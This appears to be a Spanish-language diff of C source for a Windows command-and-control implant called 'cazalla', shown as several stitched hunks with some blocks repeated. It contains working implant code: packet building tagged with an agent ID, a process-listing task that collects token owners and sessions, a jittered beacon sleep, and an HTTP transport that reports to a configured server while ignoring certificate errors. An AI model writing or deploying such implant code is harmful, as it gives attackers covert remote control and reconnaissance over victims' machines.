PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||
|
||||
if (!respuesta) {
|
||||
|
||||
paqueteParaMandar = NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return respuesta;
|
||||
|
||||
}
|
||||
|
||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||
//v2. Syscalls
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
||||
paquete->length += 1;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||
paquete->length += sizeof(UINT32);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||
paquete->length += sizeof(UINT64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
|
||||
if (tamanoCopia && tamano) {
|
||||
if (!addInt32(paquete, tamano)) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
if (tamano) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
if (tamanoCopia) {
|
||||
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
||||
}
|
||||
//v2.syscalls
|
||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||
paquete->length += tamano;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||
|
||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
#include "cazalla.h"
|
||||
#include "paquete.h"
|
||||
|
||||
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||
//v2 change to syscalls
|
||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!paquete) {
|
||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||
return NULL;
|
||||
}
|
||||
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
||||
if (!paquete->buffer) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
paquete->length = 0;
|
||||
if (init) {
|
||||
addString(paquete, cazallaConfig->idAgente, FALSE);
|
||||
addByte(paquete, idComando);
|
||||
}
|
||||
|
||||
return paquete;
|
||||
}
|
||||
|
||||
VOID liberarPaquete(PPaquete paquete) {
|
||||
|
||||
LocalFree(paquete->buffer);
|
||||
LocalFree(paquete);
|
||||
|
||||
}
|
||||
|
||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||
|
||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||
|
||||
if (!respuesta) {
|
||||
|
||||
paqueteParaMandar = NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return respuesta;
|
||||
|
||||
}
|
||||
|
||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||
//v2. Syscalls
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
||||
paquete->length += 1;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||
paquete->length += sizeof(UINT32);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||
paquete->length += sizeof(UINT64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
|
||||
if (tamanoCopia && tamano) {
|
||||
if (!addInt32(paquete, tamano)) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
if (tamano) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
if (tamanoCopia) {
|
||||
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
||||
}
|
||||
//v2.syscalls
|
||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||
paquete->length += tamano;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||
|
||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
// Determine how much space is needed for the formatted string
|
||||
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
|
||||
|
||||
va_end(args);
|
||||
|
||||
// Allocate a temporary buffer for the formatted string
|
||||
char* tempBuffer = (char*)malloc(requiredLength);
|
||||
if (tempBuffer == NULL)
|
||||
{
|
||||
return FALSE; // Memory allocation failed
|
||||
}
|
||||
|
||||
va_start(args, fmt);
|
||||
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
// Use addString to add the formatted string to the package
|
||||
if (!addString(package, tempBuffer, copySize))
|
||||
return FALSE;
|
||||
|
||||
// Free the temporary buffer
|
||||
free(tempBuffer);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef PAQUETE_H
|
||||
#define PAQUETE_H
|
||||
|
||||
#include "utils.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
|
||||
#define TASK_COMPLETE 0x95
|
||||
#define TASK_FAILED 0x99
|
||||
|
||||
typedef struct {
|
||||
|
||||
PVOID buffer;
|
||||
SIZE_T length;
|
||||
|
||||
}Paquete, * PPaquete;
|
||||
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||
VOID liberarPaquete(PPaquete paquete);
|
||||
PAnalizador mandarPaquete(PPaquete paquete);
|
||||
|
||||
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef PAQUETE_H
|
||||
#define PAQUETE_H
|
||||
|
||||
#include "utils.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
|
||||
#define TASK_COMPLETE 0x95
|
||||
#define TASK_FAILED 0x99
|
||||
|
||||
typedef struct {
|
||||
|
||||
PVOID buffer;
|
||||
SIZE_T length;
|
||||
|
||||
}Paquete, * PPaquete;
|
||||
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||
VOID liberarPaquete(PPaquete paquete);
|
||||
PAnalizador mandarPaquete(PPaquete paquete);
|
||||
|
||||
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,111 @@
|
||||
#undef UNICODE
|
||||
#include "procesos.h"
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "identity.h"
|
||||
#include "spawn.h"
|
||||
#include <tlhelp32.h>
|
||||
|
||||
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||
HANDLE hToken;
|
||||
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
|
||||
|
||||
if (!result) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
|
||||
|
||||
if (!result) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID listarProcesos(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
char nombreCuenta[2048] = { 0 };
|
||||
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
|
||||
|
||||
char* arch;
|
||||
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
|
||||
|
||||
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
|
||||
if (Process32First(toolhelp, &pe)) {
|
||||
do {
|
||||
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||
DWORD sid = -1;
|
||||
if (hProcess) {
|
||||
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
|
||||
nombreCuenta[0] = '\0';
|
||||
}
|
||||
|
||||
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
|
||||
sid = -1;
|
||||
}
|
||||
|
||||
BOOL isWow64 = IsWow64ProcessEx(hProcess);
|
||||
|
||||
PackageAddFormatPrintf(salida,
|
||||
FALSE,
|
||||
"%s\t%d\t%d\t%s\t%s\t%d\n",
|
||||
pe.szExeFile,
|
||||
pe.th32ParentProcessID,
|
||||
pe.th32ProcessID,
|
||||
isWow64 ? "x86" : arch,
|
||||
nombreCuenta,
|
||||
sid);
|
||||
}
|
||||
else {
|
||||
PackageAddFormatPrintf(salida,
|
||||
FALSE,
|
||||
"%s\t%d\t%d\n",
|
||||
pe.szExeFile,
|
||||
pe.th32ParentProcessID,
|
||||
pe.th32ProcessID);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(toolhelp, &pe));
|
||||
}
|
||||
else {
|
||||
DWORD error = GetLastError();
|
||||
|
||||
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(errorPaquete, tareaUuid, FALSE);
|
||||
addInt32(errorPaquete, error);
|
||||
mandarPaquete(errorPaquete);
|
||||
liberarPaquete(errorPaquete);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
if (!respuestaAnalizador) {
|
||||
_err("[-] Error al mandar paquete\n");
|
||||
}
|
||||
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
cleanup:
|
||||
if (toolhelp) {
|
||||
CloseHandle(toolhelp);
|
||||
}
|
||||
liberarPaquete(salida);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#ifndef PROCESOS_H
|
||||
#define PROCESOS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
VOID listarProcesos(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -1,45 +1,45 @@
|
||||
#include "sleep.h"
|
||||
#include "cazalla.h"
|
||||
|
||||
BOOL sleep(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
UINT32 tiempoSleep = getInt32(argumentos);
|
||||
UINT32 maxVarianza = getInt32(argumentos);
|
||||
|
||||
if (maxVarianza < 1) {
|
||||
maxVarianza = 1;
|
||||
}
|
||||
|
||||
const int minVarianza = 1;
|
||||
const int rangoVarianza = maxVarianza / 2;
|
||||
|
||||
int aleatorio = aleatorioInt32(0, rangoVarianza);
|
||||
|
||||
tiempoSleep += aleatorio;
|
||||
|
||||
|
||||
if (tiempoSleep < minVarianza) {
|
||||
tiempoSleep = minVarianza;
|
||||
}
|
||||
|
||||
|
||||
if (cazallaConfig == NULL) {
|
||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||
tiempoSleep = tiempoSleep * 1000;
|
||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addInt32(respuestaTarea, tiempoSleep);
|
||||
mandarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
#include "sleep.h"
|
||||
#include "cazalla.h"
|
||||
|
||||
BOOL sleep(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
UINT32 tiempoSleep = getInt32(argumentos);
|
||||
UINT32 maxVarianza = getInt32(argumentos);
|
||||
|
||||
if (maxVarianza < 1) {
|
||||
maxVarianza = 1;
|
||||
}
|
||||
|
||||
const int minVarianza = 1;
|
||||
const int rangoVarianza = maxVarianza / 2;
|
||||
|
||||
int Rand = aleatorioInt32(0, rangoVarianza);
|
||||
|
||||
tiempoSleep += Rand;
|
||||
|
||||
|
||||
if (tiempoSleep < minVarianza) {
|
||||
tiempoSleep = minVarianza;
|
||||
}
|
||||
|
||||
|
||||
if (cazallaConfig == NULL) {
|
||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
||||
tiempoSleep = tiempoSleep * 1000;
|
||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addInt32(respuestaTarea, tiempoSleep);
|
||||
mandarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,13 +1,13 @@
|
||||
#pragma once
|
||||
#ifndef SLEEP_H
|
||||
#define SLEEP_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "utils.h"
|
||||
|
||||
BOOL sleep(PAnalizador argumentos);
|
||||
|
||||
#pragma once
|
||||
#ifndef SLEEP_H
|
||||
#define SLEEP_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "utils.h"
|
||||
|
||||
BOOL sleep(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "spawn.h"
|
||||
#include "analizador.h"
|
||||
#include <versionhelpers.h>
|
||||
|
||||
#pragma warning(disable: 4996)
|
||||
|
||||
#define ProcessWow64Information 26
|
||||
|
||||
int osMajorVersion;
|
||||
|
||||
BOOL SelfIsWindowsVistaOrLater() {
|
||||
return IsWindowsVistaOrGreater();
|
||||
|
||||
}
|
||||
|
||||
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
|
||||
|
||||
|
||||
BOOL IsWow64ProcessEx(HANDLE hProcess) {
|
||||
HMODULE hModule = GetModuleHandleA("kernel32");
|
||||
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
|
||||
if (_IsWow64Process == NULL)
|
||||
{
|
||||
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL bStatus = FALSE;
|
||||
BOOL Wow64Process = FALSE;
|
||||
|
||||
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||
bStatus = _IsWow64Process(hProcess, &Wow64Process);
|
||||
if (!bStatus)
|
||||
{
|
||||
_err("_IsWow64Process failed with status code : %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
#ifndef NATIVE_H
|
||||
#define NATIVE_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
|
||||
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
BOOL IsWow64ProcessEx(HANDLE hProcess);
|
||||
|
||||
extern int osMajorVersion;
|
||||
|
||||
|
||||
#endif
|
||||
@@ -1,123 +1,123 @@
|
||||
#include "transporte.h"
|
||||
|
||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||
|
||||
DWORD codigoDeEstado = 0;
|
||||
DWORD tamanoEstado = sizeof(DWORD);
|
||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||
return 0;
|
||||
return codigoDeEstado;
|
||||
}
|
||||
|
||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||
PVOID respBuffer = NULL;
|
||||
DWORD respSize = 0;
|
||||
UCHAR buffer[1024] = { 0 };
|
||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
|
||||
// Configuración de Proxy
|
||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
||||
|
||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
||||
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
httpProxy = cazallaConfig->urlProxy;
|
||||
}
|
||||
|
||||
if (cazallaConfig->SSL) {
|
||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
|
||||
// Crear sesión HTTP
|
||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||
if (!hSesion) return NULL;
|
||||
|
||||
// Conectar al servidor
|
||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||
if (!hConexion) return NULL;
|
||||
|
||||
// Crear petición HTTP/HTTPS
|
||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||
if (!hPeticion) return NULL;
|
||||
|
||||
// Configurar opciones de seguridad si es HTTPS
|
||||
if (cazallaConfig->SSL) {
|
||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
||||
}
|
||||
|
||||
// Configurar proxy si está habilitado
|
||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
||||
}
|
||||
}
|
||||
|
||||
// Enviar la petición
|
||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Recibir respuesta
|
||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||
_err("Error al recibir respuesta HTTP\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||
if (codigoDeEstado != 200) {
|
||||
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Leer respuesta
|
||||
do {
|
||||
dwTamano = 1024;
|
||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
respSize += dwDescargado;
|
||||
if (!respBuffer) {
|
||||
respBuffer = LocalAlloc(LPTR, respSize);
|
||||
}
|
||||
else {
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
}
|
||||
|
||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||
memset(buffer, 0, 1024);
|
||||
|
||||
} while (dwTamano > 0);
|
||||
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
}
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||
|
||||
#ifdef HTTP_TRANSPORT
|
||||
return realizarPeticionHTTP(datos, tamano);
|
||||
#endif
|
||||
return NULL;
|
||||
#include "transporte.h"
|
||||
|
||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||
|
||||
DWORD codigoDeEstado = 0;
|
||||
DWORD tamanoEstado = sizeof(DWORD);
|
||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||
return 0;
|
||||
return codigoDeEstado;
|
||||
}
|
||||
|
||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||
PVOID respBuffer = NULL;
|
||||
DWORD respSize = 0;
|
||||
UCHAR buffer[1024] = { 0 };
|
||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
|
||||
// Configuración de Proxy
|
||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
||||
|
||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
||||
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
httpProxy = cazallaConfig->urlProxy;
|
||||
}
|
||||
|
||||
if (cazallaConfig->SSL) {
|
||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
|
||||
// Crear sesión HTTP
|
||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||
if (!hSesion) return NULL;
|
||||
|
||||
// Conectar al servidor
|
||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||
if (!hConexion) return NULL;
|
||||
|
||||
// Crear petición HTTP/HTTPS
|
||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||
if (!hPeticion) return NULL;
|
||||
|
||||
// Configurar opciones de seguridad si es HTTPS
|
||||
if (cazallaConfig->SSL) {
|
||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
